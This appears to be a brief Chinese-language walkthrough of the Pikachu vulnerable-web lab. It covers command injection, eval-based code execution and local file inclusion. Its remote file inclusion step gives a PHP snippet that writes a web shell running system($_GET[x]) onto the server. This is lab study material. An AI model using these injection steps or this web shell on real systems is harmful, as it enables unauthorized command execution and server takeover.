pikachu-rce,fileinclusion

RCE

exec ping

输入ip地址

后面加上个ipconfig

 

exec “eval”

这里面直接写命令不行，但是加上函数名称就可以了,输入phpinfo()就行

 

 文件

文件local

所以运用切换目录的方法切换到其他的php文件

 

 

file （remote）

测试之前需要把这俩个参数改成On

然后创建一个代码如下的txt文件

<?php
$myfile = fopen("yijuhua.php", "w");
$txt = '<?php system($_GET[x]);?>';
fwrite($myfile, $txt);
fclose($myfile);
?>

然后把filename后面的参数改为你所在的文件路径

之后服务器就会出现你刚才创建的文件